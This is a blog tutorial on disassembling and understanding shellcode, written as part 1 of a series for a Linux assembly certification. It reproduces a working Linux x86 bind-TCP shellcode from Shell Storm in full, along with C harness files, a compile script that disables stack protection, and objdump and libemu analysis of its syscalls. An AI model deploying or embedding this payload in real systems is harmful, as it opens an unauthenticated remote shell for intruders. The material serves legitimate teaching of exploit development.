part 1: disassembling and understanding shellcode

 

About a month ago I signed up for the Securitytube Linux Assembly Expert certification to get a deeper understanding of assembly and GDB. Doing so has helped me understand what is actually going on in the registers and not just relying on “hail-mary” advice like “use pop, pop, ret when dealing with SEH.” If you’re interested in Assembly or writing shellcode, I’d highly recommend you take the certification.

My first SLAE assignment was to write my own bind shell. I don’t know C well enough to code straight from memory, and even though I understand how individual assembly instructions affect data in the registers and the stack, I didn’t know how to string these together to create working shellcode. I couldn’t find many tutorials devoted to the subject so I decided to just dive in and build it from scratch.

I’ve created this tutorial to help others who understand basic assembly instructions but who do not know how to string it together to create useful shellcode of their own. Following this post through to the end should bring you up to a level of understanding where you don’t “need” to rely on other peoples scripts to build a bind shell and can start writing your own. My hope is that you will not feel overwhelmed when looking at shellcode and will start to explore, publish and write your own shellcode.

NOTE: If you are already competent at compiling, disassembling or debugging shellcode, skip to Part 2: Building the Shellcode

Lets get started….

WTF is a bind shell?

Before starting this exercise, my understanding of a bind shell was the following: it is a socket that allows you to send commands to a program and receive the responses over a network. This is not very helpful when trying to build your own except that you think you need a socket, port and an executable.

Instead of guessing, lets take a look at some other bind shell shellcode and see what it does.

Metasploit is far from the only way to get your hands on shellcode. There are several sites that host shellcode that you can use for yourself such as Exploit Database from Offensive Security, Project Shellcode from Ty Miller and Shell Storm from Jonathan Salwan.

Lets grab a small bind shell from Shell Storm and see what it does.

First, create a folder to place your working files in.

1
mkdir bindshell

Go to the following url and take a look at the content. It contains the content of a C file and instructions on how to compile and run it.

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/*
 Tiny Shell Bind TCP Shellcode - C Language
 Linux/x86
 Written in 2013 by Geyslan G. Bem, Hacking bits
   geyslan@gmail.com
 This source is licensed under the Creative Commons
 Attribution-ShareAlike 3.0 Brazil License.
 To view a copy of this license, visit
 You are free:
    to Share - to copy, distribute and transmit the work
    to Remix - to adapt the work
    to make commercial use of the work
 Under the following conditions:
   Attribution - You must attribute the work in the manner
                 specified by the author or licensor (but
                 not in any way that suggests that they
                 endorse you or your use of the work).
   Share Alike - If you alter, transform, or build upon
                 this work, you may distribute the
                 resulting work only under the same or
                 similar license to this one.
*/
/*
 tiny_shell_bind_tcp_shellcode
 * 73 bytes
 * null-free if the port is
 # gcc -m32 -fno-stack-protector -z execstack tiny_shell_bind_tcp_shellcode.c -o tiny_shell_bind_tcp_shellcode
 Testing
 # ./tiny_shell_bind_tcp_shellcode
 # nc 127.0.0.1 11111
*/
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"
"\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"
"\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"
"\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"
"\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x41\xcd\x80";
main ()
{
        // When the Port contains null bytes, printf will show a wrong shellcode length.
    printf("Shellcode Length:  %d\n", strlen(code));
    // Pollutes all registers ensuring that the shellcode runs in any circumstance.
    __asm__ ("movl $0xffffffff, %eax\n\t"
         "movl %eax, %ebx\n\t"
         "movl %eax, %ecx\n\t"
         "movl %eax, %edx\n\t"
         "movl %eax, %esi\n\t"
         "movl %eax, %edi\n\t"
         "movl %eax, %ebp\n\t"
    // Setting the port
         "movw $0x672b, (code+20)\n\t"
    // Calling the shellcode
         "call code");
}

This may look big and scary now but we’re only interested in seeing what it does so we can figure out how to write our own.

Leave that page open for now, we’ll come back to it shortly.

Create a file in your bindshell folder called shellcode.c

1
2
cd bindshell
nano shellcode.c

Paste the following code into the shellcode.c file we just opened.

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"";
main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Now grab just the shellcode from the Shell Storm page and paste it into this new file ensuring the formatting looks like this.

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"
"\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"
"\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"
"\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"
"\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x41\xcd\x80";
main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Save and close the file

1
2
3
CTRL + O   <-- Save File
{ENTER/RETURN KEY}    <-- Accept the Filename
CTRL X   <-- Exit

Great, we’ve just created a C file that will print our shellcode length and then run it. but before we can do that, we need to compile it into a binary file.

To be able to compile this file, we need a compiler such as GCC (GNU Compiler Collection) which will turn our source code into a binary file.

Assuming you’re running this on a Debian based distro such as Ubuntu, Kali Linux, BackTrack or your own distro, you can use Aptitude to install GCC

1
sudo apt-get install gcc

Because we’re going to compile shellcode often, lets create a script that we can reuse to compile our shellcode.c file.

Create a new file called compile.sh and paste the following into it

1
2
3
4
5
6
7
#!/bin/bash
if [ -z "$1" ]
    then
        gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
    else
        gcc -m32 -fno-stack-protector -z execstack $1.c -o $1
fi

What this file will do is check to see if you have passed any argument to the script, if not it assumes that the file you want to compile is called “shellcode.c” which in this case is true.

Then the script will run GCC with the following options:

1
2
3
4
5
-m32 tells the compiler we're building this source code for a 32 bit operating system
-fno-stack-protection will disable the stack protection mechanisms in GCC
-z execstack will allow our stack to be executable
shellcode.c is the file with the source code
-o shellcode is the binary file we want to create with our source code

Now we need to make this new script executable.

1
chmod +x compile.sh

That’s it, run the script and you should have a brand new binary that can create bind shells.

1
./compile.sh

We’re not interested in running this binary right now, we’re only interested in finding out what it does. So lets take a look inside and see what this shellcode is doing.

To do this, we are going to use a tool called “objdump“, part of Gnu Binary Utilities, which will look at our shellcode and show us what it’s doing.

To install these tools run:

1
sudo apt-get install binutils

Now that we have objdump installed, lets disassemble our binary.

1
objdump -D shellcode -M intel

Wow, that is a lot of assembly code. The part we’re interested in is:

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
08049700 <code>:
 8049700:   31 db                   xor    ebx,ebx
 8049702:   f7 e3                   mul    ebx
 8049704:   b0 66                   mov    al,0x66
 8049706:   43                      inc    ebx
 8049707:   52                      push   edx
 8049708:   53                      push   ebx
 8049709:   6a 02                   push   0x2
 804970b:   89 e1                   mov    ecx,esp
 804970d:   cd 80                   int    0x80
 804970f:   5b                      pop    ebx
 8049710:   5e                      pop    esi
 8049711:   52                      push   edx
 8049712:   66 68 2b 67             pushw  0x672b
 8049716:   6a 10                   push   0x10
 8049718:   51                      push   ecx
 8049719:   50                      push   eax
 804971a:   b0 66                   mov    al,0x66
 804971c:   89 e1                   mov    ecx,esp
 804971e:   cd 80                   int    0x80
 8049720:   89 51 04                mov    DWORD PTR [ecx+0x4],edx
 8049723:   b0 66                   mov    al,0x66
 8049725:   b3 04                   mov    bl,0x4
 8049727:   cd 80                   int    0x80
 8049729:   b0 66                   mov    al,0x66
 804972b:   43                      inc    ebx
 804972c:   cd 80                   int    0x80
 804972e:   59                      pop    ecx
 804972f:   93                      xchg   ebx,eax
 8049730:   6a 3f                   push   0x3f
 8049732:   58                      pop    eax
 8049733:   cd 80                   int    0x80
 8049735:   49                      dec    ecx
 8049736:   79 f8                   jns    8049730 <code+0x30>
 8049738:   b0 0b                   mov    al,0xb
 804973a:   68 2f 2f 73 68          push   0x68732f2f
 804973f:   68 2f 62 69 6e          push   0x6e69622f
 8049744:   89 e3                   mov    ebx,esp
 8049746:   41                      inc    ecx
 8049747:   cd 80                   int    0x80
 8049749:   00 00                   add    BYTE PTR [eax],al

We can see xor, push, pop, inc and some other functions but we still don’t really know the steps involved to create our own bind shell.

Lets move onto something that will make this even easier to understand.

Libemu is a x86 Shellcode Emulation tool that can make following and understanding shellcode much easier.

Download and install libemu, following this procedure:

Firstly, we’re going to need Git. If you don’t already have git installed, install it now

1
sudo apt-get install git

Once you have git installed, clone the libemu repo into your temp folder

1
2

You’ll also need some dependencies to get libemu installed and running

1
sudo apt-get install build-essential autoconf libtool python-dev graphviz

Now go into the libemu folder we cloned

1
cd /tmp/libemu/

Run these commands to configure and build libemu

1
2
3
4
autoreconf -v -i
./configure --enable-python-bindings --prefix=/opt/libemu
sudo make install
sudo ldconfig -n /opt/libemu/lib

We should now have a libemu folder installed in /opt/libemu/

We now need to prepare our shellcode for libemu. Start by grabbing just the shellcode and place it in a file called shellcode.hex

1
2
3
4
5
6
7
8
9
cat shellcode.hex
\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a
\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68
\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1
\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd
\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f
\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x41\xcd\x80

Next, we’re going to create an alias called hex2raw. Add this line to your .bashrc file if you want this to be permanently available.

1
alias hex2raw="tr -d '\\\x' | xxd -r -p"

Now lets convert our hex code to raw code.

1
cat shellcode.hex | hex2raw > shellcode.raw

If all went well, you should have a new file called shellcode.raw

We now have everything we need to see what this bind shell is doing, lets run libemu on this raw code

1
cat shellcode.raw | /opt/libemu/bin/sctest -vvv -Ss 99999 -G shellcode.dot

The last step is to convert the shellcode.dot graph into an image so we can view it

1
dot -Tpng -o shellcode.png shellcode.dot

Great, we now have a shellcode.png file, lets take a look at it

EPIC, now we can see what this shellcode is doing a lot clearer and we can also see the system calls that it is making. We will use these to create our own bind shell shellcode.

We can see that the first call being made is the socket call, followed by the bind call, then the listen and accept calls. Then the code loops through the dup2 call several times and finally execve is called.

We finally have our bind shell process:
1. Socket
2. Bind
3. Listen
4. Accept
5. Dup2
6. Execve

In Part 2: Building the Shellcode, we will investigate these calls further and start building our own assembly shellcode.

Keep sploiting

norsec0de

Bookmark the permalink.

Leave a Reply